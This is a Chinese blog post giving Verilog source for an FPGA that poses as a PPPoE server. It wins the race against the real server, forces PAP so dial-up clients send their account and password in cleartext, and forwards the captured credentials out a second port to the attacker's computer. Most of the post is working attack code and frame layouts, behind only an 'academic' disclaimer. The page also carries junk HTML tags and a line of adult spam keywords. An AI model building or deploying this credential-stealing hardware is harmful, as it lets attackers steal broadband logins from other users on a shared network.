<dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><small id="yhprb"></small><dfn id="yhprb"></dfn><small id="yhprb"><delect id="yhprb"></delect></small><small id="yhprb"></small><small id="yhprb"></small> <delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"></dfn><dfn id="yhprb"></dfn><s id="yhprb"><noframes id="yhprb"><small id="yhprb"><dfn id="yhprb"></dfn></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><small id="yhprb"></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn> <small id="yhprb"></small><delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn>
"); //-->

博客專(zhuān)欄

EEPW首頁(yè) > 博客 > 【源碼】基于FPGA的PPPoE協(xié)議獲取賬號密碼的攻擊實(shí)現

【源碼】基于FPGA的PPPoE協(xié)議獲取賬號密碼的攻擊實(shí)現

發(fā)布人:FPGA小師兄 時(shí)間:2023-01-16 來(lái)源:工程師 發(fā)布文章

在與本頭條同名的微信公眾號之前的一篇文章《 西電免流量限制上網(wǎng)攻略!Python實(shí)現PPPOE攻擊工具,秒殺撥號上網(wǎng)》結尾布置了思考題,如何采用FPGA實(shí)現PPPoE的第一種攻擊,也就是獲取對方賬號密碼的攻擊。本文針對FPGA實(shí)現的第一種攻擊進(jìn)行詳細的介紹。FPGA實(shí)現方式具有非常好的硬件加速性能,竊取賬號密碼的成功率也會(huì )更高。因為,較之前Python實(shí)現方式而言,在收到網(wǎng)絡(luò )上某臺計算機發(fā)送的PADI廣播包后,FPGA實(shí)現的偽裝的服務(wù)器具有相當大的概率會(huì )搶在真正的服務(wù)器之前向該計算機發(fā)送欺騙幀(讓對方將自己的賬號密碼以明文的形式反饋回來(lái))。本文的目的一方面提醒網(wǎng)絡(luò )安全的重要性,另一方面讓大家認識到硬件加速力的重要性。試想,如果采用FPGA發(fā)起上文中提到的第三種DDOS攻擊,估計瞬間就會(huì )造成整個(gè)網(wǎng)絡(luò )的癱瘓。提升網(wǎng)絡(luò )安全意識,從一點(diǎn)一滴做起。

一開(kāi)始,我們先回顧一下之前使用Python實(shí)現的軟件攻擊的過(guò)程。

Python實(shí)現的軟件攻擊回顧

對于PPPOE認證上網(wǎng)的過(guò)程如下圖所示,分為發(fā)現階段和會(huì )話(huà)階段,發(fā)現階段分為PADI,PADO,PADR,PADS。


其中竊取賬號密碼的問(wèn)題就出現在第一步PADI。PPPOE客戶(hù)端進(jìn)行連接時(shí),在PADI階段會(huì )發(fā)送一個(gè)廣播包,尋找局域網(wǎng)中的PPPOE服務(wù)器,從而完成認證。

這時(shí)候我們需要做的是偽裝成PPPOE服務(wù)器,回復請求信息,搶先和客戶(hù)端通信,并強制客戶(hù)端使用明文傳輸方式,從而獲取賬號和密碼。下面我們通過(guò)wireshark抓一下數據包,更加直觀(guān)的觀(guān)察一下尋找PPPOE服務(wù)器的過(guò)程。點(diǎn)擊寬帶連接,使用Wireshark監聽(tīng),會(huì )發(fā)現廣播包,這時(shí)候pppoe服務(wù)器會(huì )進(jìn)行回復。


攻擊場(chǎng)景:在本機電腦上開(kāi)啟PPPOE欺騙程序,開(kāi)始進(jìn)行監聽(tīng),并在局域網(wǎng)中的其他電腦上進(jìn)行寬帶連接,觀(guān)察欺騙效果。如下圖所示,已經(jīng)成功欺騙出了賬號和密碼。

竊取賬號的部分代碼內容如下:


FPGA實(shí)現攻擊必須完成的任務(wù)

PPPOE的認證過(guò)程分兩個(gè)階段

  1. 發(fā)現階段:客戶(hù)機尋找并確定可用的服務(wù)器,得到會(huì )話(huà)ID

  2. 會(huì )話(huà)階段:在發(fā)現階段所確定的參數基礎上,依次完成鏈路控制協(xié)商、認證和NCP協(xié)商

由于會(huì )話(huà)階段的認證步驟中進(jìn)行用戶(hù)密碼傳輸,故FPGA偽裝至少完成:

1.發(fā)現階段

2.會(huì )話(huà)階段的鏈路控制協(xié)商

發(fā)現階段幀結構

發(fā)現階段偽裝要做到兩點(diǎn),一是識別并記錄客戶(hù)機的PADI、PADR幀信息;二是發(fā)送對應的PADO、PADS幀

發(fā)現階段:PADI幀的識別與PADO幀的發(fā)送

PADI幀識別特征

?幀類(lèi)型域:0x8863(發(fā)現階段)

?PPPOE幀代碼域:0x09(PADI幀)

PADO幀發(fā)送

?目的MAC地址:客戶(hù)機地址(PADI幀中源MAC地址)

?幀類(lèi)型域:0x8863(發(fā)現階段)

?PPPOE幀代碼域:0x07(PADO幀)

?靜載荷域:在收到的PADI幀的凈載荷后加上AC-NAME

發(fā)現階段:PADR幀的識別與PADS幀的發(fā)送

PADR幀識別特征

?幀類(lèi)型域:0x8863(發(fā)現階段)

?PPPOE幀代碼域:0x19(PADR幀)

PADS幀發(fā)送

?目的MAC地址:客戶(hù)機地址(PADR幀中源MAC地址)

?幀類(lèi)型域:0x8863(發(fā)現階段)

?PPPOE幀代碼域:0x65(PADS幀)

?會(huì )話(huà)ID:可統一設為不為0的固定值

?凈載荷域:與收到PADR幀的凈載荷相同

會(huì )話(huà)階段幀結構


會(huì )話(huà)階段要做到:

1.發(fā)送認證協(xié)議參數為0xc023(PAP協(xié)議)的Config-Request報文

2.識別客戶(hù)機發(fā)送的Config-Request報文并回應Config-Ack報文

會(huì )話(huà)階段:Request幀的發(fā)送

LCP Configuration Request幀

?目的MAC地址:客戶(hù)機地址(PADR幀中源MAC地址)

?幀類(lèi)型域:0x8864(會(huì )話(huà)階段)

?PPPOE幀代碼域:0x00(會(huì )話(huà)數據)

?會(huì )話(huà)ID:可統一設為不為0的固定值

?點(diǎn)對點(diǎn)協(xié)議:0xc021(LCP協(xié)議)

?PPP LCP幀代碼域:0x01(Request幀)

?認證協(xié)議:0xc023(PAP協(xié)議)

會(huì )話(huà)階段:Ack幀的發(fā)送

LCP Configuration Ack幀

?目的MAC地址:客戶(hù)機地址(Request幀中源MAC地址)

?幀類(lèi)型域:0x8864(會(huì )話(huà)階段)

?PPPOE幀代碼域:0x00(會(huì )話(huà)數據)

?會(huì )話(huà)ID:可統一設為不為0的固定值

?點(diǎn)對點(diǎn)協(xié)議:0xc021(LCP協(xié)議)

?PPP LCP幀代碼域:0x02(Ack幀)

?其余數據均與接收的Request幀保持一致即可

FPGA實(shí)現


1、u_pppoeattack_v1模塊

?解析識別0口接收到的PPPOED、PPP幀

?記錄特定幀的幀信息(源MAC地址、控制信息用寄存器保存,載荷用FIFO保存)

?根據接收的幀類(lèi)型確定回復幀類(lèi)型

?根據記錄的信息和回復幀類(lèi)型向0口發(fā)送對應幀

(1)解析識別0口接收到的PPPOED、PPP幀

首先獲取接收幀不同結構位置下的數據

//獲取接收幀的幀類(lèi)型、PPPOE類(lèi)型、PPPOE會(huì )話(huà)ID
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 frame_type <= 16'b0;
 pppoed_code <= 8'b0 ;
 lcp_code <= 8'd0 ;
 pppoed_session_id <= 16'b0;
 end
 else if(read_frame_step == 9'd3)
 begin
 frame_type <= ff_rx_data[31:16];
 pppoed_code<= ff_rx_data[7:0];
 end
 else if(read_frame_step == 9'd4)
 begin
 pppoed_session_id <= ff_rx_data[31:16];
 end
 else if(read_frame_step == 9'd5)
 begin
 lcp_code <= ff_rx_data[15:8];
 end
 else
 begin
 frame_type <= 16'b0;
 pppoed_code <= 8'b0 ;
 pppoed_session_id <= 16'b0;
 lcp_code <= 8'd0 ;
 end
end

(2)解析識別0口接收到的PPPOED、PPP幀

其次要根據獲取數據判斷接收幀類(lèi)型,并在回復幀之前確定好回復幀類(lèi)型

//確定該發(fā)送何種PPPOE幀
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 send_frame_step_flag <= 4'd0;
 end
 else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK))
 begin
 send_frame_step_flag <= PPP_LCP_REQUEST;
 end
 else if(ff_tx_eop == 1'b1)
 begin
 send_frame_step_flag <= 4'd0;
 end
 else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PADO;
 end
 else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PADS;
 end
 else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PPP_LCP_ACK;
 end
end

(3)解析識別0口接收到的PPPOED、PPP幀

記錄特定幀的幀信息

載荷用FIFO保存


payload_fifo u_payload_fifo (
 .clk(clk), // input wire clk
 .rst(~reset_n), // input wire srst
 .din(ff_rx_data), // input wire [31 : 0] din
 .wr_en(payload_data_wren), // input wire wr_en
 .rd_en(payload_data_rden), // input wire rd_en
 .dout(fifo_payload_dout), // output wire [31 : 0] dout
 .full(payload_fifo_full), // output wire full
 .empty(payload_fifo_empty) // output wire empty
);


源MAC地址等信息用寄存器保存

//獲取接收幀的目的MAC地址和源MAC地址
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 des_addr <= 48'b0;
 sou_addr <= 48'b0;
 end
 else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1)
 begin
 des_addr[47:16] <= ff_rx_data;
 end
 else if(read_frame_step == 9'd1)
 begin
 des_addr[15:0] <= ff_rx_data[31:16];
 sou_addr[47:32] <= ff_rx_data[15:0] ;
 end
 else if(read_frame_step == 9'd2)
 begin
 sou_addr[31:0] <= ff_rx_data;
 end
end

(4)對應幀的發(fā)送:依次將地址數據、幀格式數據以及載荷寫(xiě)入到輸出數據信號并發(fā)送

//幀發(fā)送數據賦值
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 ff_tx_data <= 32'b0;
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0)
 begin
 ff_tx_data <= sou_addr[47:16]; //發(fā)送目的MAC地址(接收幀源地址)
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1)
 begin
 ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]};
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2)
 begin
 ff_tx_data <= MAC_ADDR[31:0];
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd3)
 begin
 ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code};
 end //發(fā)送幀類(lèi)型數據
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4)
 begin//發(fā)送會(huì )話(huà)ID及載荷長(cháng)度
 ff_tx_data <= {send_session_id,send_frame_payload_length};
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0)
 begin//發(fā)送PPP和LCP幀類(lèi)型以及分類(lèi)碼
 ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier};
 end
 else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1)
 begin
 ff_tx_data <= fifo_payload_dout; //發(fā)送特定幀所需的之前記錄的接收幀載荷
 end
 else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //發(fā)送PADO幀載荷
 begin
 if(send_cnt == 3'd4)
 ff_tx_data <= {AC_NAME[7:0],24'b0};
 else if(send_cnt == 3'd3)
 ff_tx_data <= AC_NAME[39:8];
 else if(send_cnt == 3'd2)
 ff_tx_data <= AC_NAME[71:40];
 else if(send_cnt == 3'd1)
 ff_tx_data <= AC_NAME[103:72];
 else if(send_cnt == 3'd0)
 ff_tx_data <= AC_NAME_TAG;
 end
else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //發(fā)送LCP_Request幀載荷
 begin
 if(send_cnt == 3'd4)
 ff_tx_data <= LCP_OPTIONS[31:0];
 else if(send_cnt == 3'd3)
 ff_tx_data <= LCP_OPTIONS[63:32];
 else if(send_cnt == 3'd2)
 ff_tx_data <= LCP_OPTIONS[95:64];
 else if(send_cnt == 3'd1)
 ff_tx_data <= LCP_OPTIONS[127:96];
 else if(send_cnt == 3'd0)
 ff_tx_data <= LCP_OPTIONS[159:128];
 end
 else 
 begin
 ff_tx_data <= 32'b0;
 end
end

2、u_pppoeattack_authen_forward模塊

?解析識別0口接收到的PPP_PAP幀、1口接收到的以太網(wǎng)幀

?記錄1口以太網(wǎng)幀的幀信息(源MAC地址用寄存器保存)

?記錄PPP_PAP幀的幀信息(載荷域的賬號密碼用FIFO保存)

?接收到PAP幀后向1口發(fā)送包含賬號密碼的自定義幀

(1)解析識別0口接收到的PPP_PAP幀、1口接收到的以太網(wǎng)幀與u_pppoeattack_v1模塊操作相同

//獲取1口接收以太網(wǎng)幀源MAC地址
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 sou_addr_1 <= 48'hffffffffffff;
 end
 else if(read_frame_step_1 == 9'd1)
 begin
 sou_addr_1[47:32] <= ff_rx_data_1[15:0] ;
 end
 else if(read_frame_step_1 == 9'd2)
 begin
 sou_addr_1[31:0] <= ff_rx_data_1;
 end
end
//拉高寫(xiě)使能信號,將PPP_PAP幀賬號密碼信息寫(xiě)入FIFO
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 payload_data_wren <= 1'b0;
 end
 else if(payload_data_write_cnt >= (payload_length_4bytes - 1))
 begin
 payload_data_wren <= 1'b0;
 end
 else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5)
 begin
 payload_data_wren <= 1'b1;
 end
end


//將接收到PPP_PAP幀的賬號密碼信息打包為一個(gè)自定義幀通過(guò)1口發(fā)往上位機
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 ff_tx_data_1 <= 32'b0;
 end
 else if(ff_tx_eop_1 == 1'b1)
 begin
 ff_tx_data_1 <= 32'b0;
 end
 else if(send_frame_step == 9‘d1) //目的MAC地址
 begin
 ff_tx_data_1 <= sou_addr_1[47:16];
 end
 else if(send_frame_step == 9'd2)
 begin
 ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]};
 end
 else if(send_frame_step == 9‘d3) //板子源MAC地址
 begin
 ff_tx_data_1 <= MAC_ADDR[31:0];
 end
 else if(send_frame_step == 9‘d4) 
 begin//自定義幀類(lèi)型0x8817,0x23與0x02為數據起始符
 ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02}; 
 end
 else if(send_frame_step == 9'd5)
 begin //0x2020為兩個(gè)空格,替換原無(wú)效數據,0x25為數據分隔符%
 ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]};
 end 
 else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示數據結束符
 begin
 ff_tx_data_1 <= {8'h24,24'h0};
 end
 else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在賬號與密碼之間加入一個(gè)0x25數據分隔符%
 begin
 if(account_length == account_cnt - 8'd4)
 ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]};
 else if(account_length == account_cnt - 8'd3)
 ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]};
 else if(account_length == account_cnt - 8'd2)
 ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]};
 else if(account_length == account_cnt - 8'd1)
 ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25};
 else 
 ff_tx_data_1 <= fifo_payload_dout;
 end
 else if(send_frame_step > 9'd5)
 begin
 ff_tx_data_1 <= fifo_payload_dout;
 end
end

效果



溫馨提示:

文中內容純粹為學(xué)術(shù)交流,若有同學(xué)自己練習引起的一切問(wèn)題,本文概不負責。

全文完。


*博客內容為網(wǎng)友個(gè)人發(fā)布,僅代表博主個(gè)人觀(guān)點(diǎn),如有侵權請聯(lián)系工作人員刪除。



關(guān)鍵詞: PPPoE協(xié)議

技術(shù)專(zhuān)區

關(guān)閉
国产精品自在自线亚洲|国产精品无圣光一区二区|国产日产欧洲无码视频|久久久一本精品99久久K精品66|欧美人与动牲交片免费播放
<dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><small id="yhprb"></small><dfn id="yhprb"></dfn><small id="yhprb"><delect id="yhprb"></delect></small><small id="yhprb"></small><small id="yhprb"></small> <delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"></dfn><dfn id="yhprb"></dfn><s id="yhprb"><noframes id="yhprb"><small id="yhprb"><dfn id="yhprb"></dfn></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><small id="yhprb"></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn> <small id="yhprb"></small><delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn>